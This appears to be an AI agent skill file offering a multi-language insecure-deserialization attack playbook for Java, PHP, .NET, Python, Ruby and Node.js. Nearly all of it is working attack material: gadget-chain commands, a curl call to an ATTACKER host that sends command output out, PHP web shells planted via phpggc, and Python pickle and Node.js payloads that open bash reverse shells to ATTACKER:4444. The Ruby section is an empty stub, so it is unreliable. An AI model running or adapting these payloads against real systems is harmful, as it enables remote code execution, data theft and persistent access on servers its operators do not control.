---
name: rt-deserialization
description: "Insecure deserialization master skill covering all major languages for authorized engagements. Java deserialization with ysoserial gadget chains, PHP object injection with phpggc, .NET ViewState and BinaryFormatter attacks, Python pickle RCE, Ruby Marshal deserialization, Node.js serialize-to-function, and identifying deserialization sinks across frameworks. Use when applications accept serialized objects from untrusted input."
---

# rt-deserialization — Insecure Deserialization (All Languages)

## Overview

Deserialization converts byte streams back into objects. When applications deserialize attacker-controlled data without validation, attackers can craft malicious serialized objects that trigger code execution via "gadget chains" — sequences of existing code that execute dangerous operations during deserialization.

---

## Phase 1 — Detection Across Languages

```bash
# Java serialization magic bytes
# AC ED 00 05 = Java serialized object
# rO0AB = base64 of AC ED 00 05
echo "rO0ABXNy..." | base64 -d | xxd | head -2

# PHP serialization format
# O:4:"User":1:{s:4:"name";s:5:"admin";}
# a:2:{s:5:"hello";s:5:"world";}

# .NET BinaryFormatter
# AAEAAAD///// = base64 marker
# Content-Type: application/x-www-form-urlencoded with ViewState param

# Python pickle
# \x80\x04 = pickle protocol 4 magic bytes

# Node.js (serialize-javascript, node-serialize)
# {"rce":"_$$ND_FUNC$$_function(){return require('child_process').execSync('id')}()"}
```

---

## Phase 2 — Java Deserialization

```bash
# ysoserial — Java gadget chain generator
java -jar ysoserial.jar  # List available gadget chains

# Most useful chains
java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0
java -jar ysoserial.jar CommonsCollections5 'curl http://ATTACKER/$(id)' | base64 -w0
java -jar ysoserial.jar Spring1 'id' | base64 -w0
java -jar ysoserial.jar Groovy1 'id' | base64 -w0

# Test with curl — replace serialized value in cookie/header/body
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections6 'id' | base64 -w0)
curl "https://target.com/api" \
  -H "Authorization: $PAYLOAD"
  # Or in cookie: -b "JSESSIONID=$PAYLOAD"
  # Or POST body with base64 encoded payload

# Blind RCE via DNS (confirm execution)
java -jar ysoserial.jar CommonsCollections6 \
  'curl http://BURP_COLLABORATOR.burpcollaborator.net' | base64 -w0

# Identify gadget chain — check classpath
# Look for: commons-collections, spring-core, groovy-all in pom.xml/build.gradle
find /app -name "*.jar" | xargs -I{} jar tf {} | grep -i "commons\|spring"
```

---

## Phase 3 — PHP Object Injection

```bash
# phpggc — PHP gadget chain generator (like ysoserial for PHP)
git clone https://github.com/ambionics/phpggc
php phpggc -l  # List gadget chains

# Useful chains
php phpggc Laravel/RCE1 system id | base64
php phpggc Symfony/RCE4 exec 'id' | base64
php phpggc Drupal/FD1 file_put_contents /var/www/html/shell.php '<?php system($_GET[c]);?>'
php phpggc Guzzle/FW1 file_put_contents /var/www/html/shell.php '<?php system($_GET[c]);?>'

# Manual PHP object injection
# Find unserialize() calls with user input:
# unserialize($_COOKIE['data'])
# unserialize(base64_decode($_GET['obj']))

# Craft malicious object (if __wakeup, __destruct, __toString with dangerous code)
php -r "
class VulnClass {
    public \$cmd;
    function __destruct() { system(\$this->cmd); }
}
\$o = new VulnClass();
\$o->cmd = 'id';
echo base64_encode(serialize(\$o));
"

# Phar deserialization (file operations trigger deserialization)
php -r "
\$phar = new Phar('evil.phar');
\$phar->startBuffering();
\$phar->addFromString('test.txt', 'test');
\$phar->setMetadata(new VulnClass());
\$phar->stopBuffering();
"
rename('evil.phar', 'evil.jpg')  # Rename to bypass extension check
# Trigger: file_exists('phar://uploads/evil.jpg')
```

---

## Phase 4 — Python Pickle RCE

```python
# Pickle deserialization = arbitrary code execution
import pickle, base64, os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))

# Generate payload
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(f"Payload: {payload}")

# Reverse shell payload
class ReverseShell(object):
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'"
        return (os.system, (cmd,))

payload = base64.b64encode(pickle.dumps(ReverseShell())).decode()

# Test if endpoint accepts pickle
import requests
r = requests.post("https://target.com/api/data",
                  data={"data": payload})
# Or in cookie, header, etc.
```

---

## Phase 5 — .NET Deserialization

```bash
# ysoserial.net — .NET gadget chains
ysoserial.net -f Json.Net -g ObjectDataProvider -c "calc.exe" -o base64
ysoserial.net -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami" -o base64
ysoserial.net -f LosFormatter -g ActivitySurrogateSelectorFromFile -c "payload.cs" -o base64

# ViewState deserialization (ASP.NET WebForms)
# If MachineKey known/weak → forge ViewState with payload
ysoserial.net -p ViewState -g TextFormattingRunProperties \
  --decryptionalg="AES" --decryptionkey="KEY_FROM_WEB.CONFIG" \
  --validationalg="SHA1" --validationkey="VKEY_FROM_WEB.CONFIG" \
  -c "cmd /c whoami" -o base64

# Locate MachineKey in web.config
curl https://target.com/.git/config  # Maybe web.config exposed
# Or: read via LFI/XXE
```

---

## Phase 6 — Ruby Marshal Deserialization

```ruby
# Marshal.load with user input = RCE
require 'base64'

# Gadget chain for Ruby on Rails with universal_gadget
# Tool: rails-deserialization-exploits
# github.com/Ren0503/ruby-deserialization

payload = Base64.encode64(Marshal.dump(
  # Construct gadget chain here
))

# Test if endpoint accepts Marshal data
# Look for: application/x-ruby-marshal content-type
# Or: base64 strings starting with BAhb (Ruby Marshal magic)
```

---

## Phase 7 — Node.js Deserialization

```javascript
// node-serialize vulnerable pattern
var serialize = require('node-serialize');

// Malicious serialized object with IIFE
var payload = '{"rce":"_$$ND_FUNC$$_function(){return require(\'child_process\').execSync(\'id\').toString()}()"}';

// Test: encode and send
var encoded = Buffer.from(payload).toString('base64');
// Send in cookie or POST body

// Reverse shell
var revshell = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'bash -c \\\\\'bash -i >& /dev/tcp/ATTACKER/4444 0>&1\\\\\'\')}()"}';
```

---

## Skill Levels

**BEGINNER:** Identify serialization format (magic bytes) · ysoserial DNS callback confirmation · phpggc basic chain

**INTERMEDIATE:** Java CommonsCollections chains · PHP phar deserialization · Python pickle RCE

**ADVANCED:** .NET ViewState with known MachineKey · Ruby Rails gadget chains · Blind RCE confirmation via DNS

**EXPERT:** Custom gadget chain development · Cross-language polyglot payloads · JNDI injection variants

---

## References

- ysoserial: https://github.com/frohoff/ysoserial
- phpggc: https://github.com/ambionics/phpggc
- ysoserial.net: https://github.com/pwntester/ysoserial.net
- OWASP Deserialization: https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
- MITRE T1059: https://attack.mitre.org/techniques/T1059/
